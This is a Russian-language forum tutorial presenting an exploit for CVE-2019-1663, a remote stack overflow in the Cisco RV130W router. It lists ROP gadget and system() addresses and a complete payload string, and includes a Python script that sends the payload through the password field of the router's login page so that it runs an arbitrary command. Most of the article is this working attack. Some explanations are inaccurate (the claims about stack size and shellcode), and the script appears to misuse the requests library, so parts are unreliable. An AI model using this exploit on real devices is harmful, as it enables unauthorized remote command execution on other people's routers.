Статья Cisco RV130W 1.0.3.44 Remote Stack Overflow - удалённое переполнение стака и выполнение команд на роутере

Доброго времени суток, форумчане. Сегодня мы разберём свежий эксплойт для переполнения буфера Cisco rv130w версии 1.0.3.44.
Кто не знает что такое переполнение буфера:

переполнение буфера - явление, возникающее, когда компьютерная программа записывает данные за пределами выделенного в памяти буфера, и как правило, что записывается за пределами буфера называется - shellcode.

Что такое шеллкод:
шелл-код - код запуска оболочки, это двоичный исполняемый код, который обычно передаёт управление командному процессору, например '/bin/sh'
Важно знать: один стек равен 4 байтам.

Как выглядит переполнение буфера:

30502


А вот тут показывается, как выглядит удалённое переполнение буфера:

30501


Стоит упомянуть, что чем меньше шеллкод, тем лучше, так как, если шеллкод больше буфера, то шеллкод не отработает. Например буфер=64 байта, а шеллкод=128 байт - это не правильно. Правильно будет вот так: буфер=64 байта, а шеллкод=34 байта.
Начинаем!

Ссылка на продукт:
Номер CVE: CVE-2019-1663

Уязвимые функции и их адрес в памяти.
0x357fc000 - libc base addr
0x35849144 - system() addr

0x0002eaf8 / 0x3582AAF8: pop {r4, r5, lr}; add sp, sp, #8; bx lr
0x0000c11c / 0x3580811C: mov r2, r4; mov r0, r2; pop {r4, r5, r7, pc}
0x00041308 / 0x3583D308: mov r0, sp; blx r2

Эксплойт работает по такому типу:

gadget 1 system() мусор gadget 2 мусор мусор мусор мусор мусор gadget 3 текст
[0x3582AAF8][0x35849144][AAAA][0x3580811C][BBBB][CCCC][DDDD][EEEE][FFFF][0x3583D308][комманда]

payload:
Код:
UUUUZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZVVVVWWWWXXXXYYYY`printf "\xf8\xaa\x82\x35\x44\x91\x84\x35AAAA\x1c\x81\x80\x35BBBBCCCCDDDDEEEEFFFF\x08\xd3\x83\x35ping 192.168.1.100\x00"`

1. В этой части пэйлода:
Код:
UUUUZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZVVVVWWWWXXXXYYYY
Мы заполняем буфер мусором на 446 байтов.

2. Далее мы уже вводим адреса в памяти уязвимых функции + мусор на 24 байта:
Код:
`printf "\xf8\xaa\x82\x35\x44\x91\x84\x35AAAA\x1c\x81\x80\x35BBBBCCCCDDDDEEEEFFFF\x08\xd3\x83\x35

3. Мы вводим любую команду, которая будет выполнена удалённо:
Код:
ping 192.168.1.100\x00"`
Нулевой байт тут для того, чтобы чтобы прекратилось копирование стека в буфер.

Так же у меня есть скрипт на python для переполнения буфера.
Python:
import requests

def main():
    command = "ping 192.168.1.100\x00" # нулевой байт тут  для того чтобы чтобы  прекратилось копирование стека в буфер.
    print ("Sending payload to execute [" + command + "]\n")
    rop = "\xf8\xaa\x82\x35"+"\x44\x91\x84\x35"+"AAAA"+"\x1c\x81\x80\x35"+"BBBB"+"CCCC"+"DDDD"+"EEEE"+"FFFF"+"\x08\xd3\x83\x35" # адреса в памяти уязвимых функций и мусорные байты.
    payload = ("Z" * 446) + rop + command # создание пэйлода
    target = "https://192.168.1.100:443/login.cgi"
    data = {'submit_button': 'login','submit_type': '','gui_action': '','default_login': '1','wait_time': '0','change_action': '','enc': '1','user': 'cisco','pwd': payload,'sel_lang': 'EN'}
    r = requests.post(target, payload=data) # отправление пэйлода
    print ("Payload sent to", target)
if __name__ == "__main__":
    main()

Спасибо за прочтение моей статьи. Надеюсь, что статья была для вас полезна.
P.S. Это моя вторая статья.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!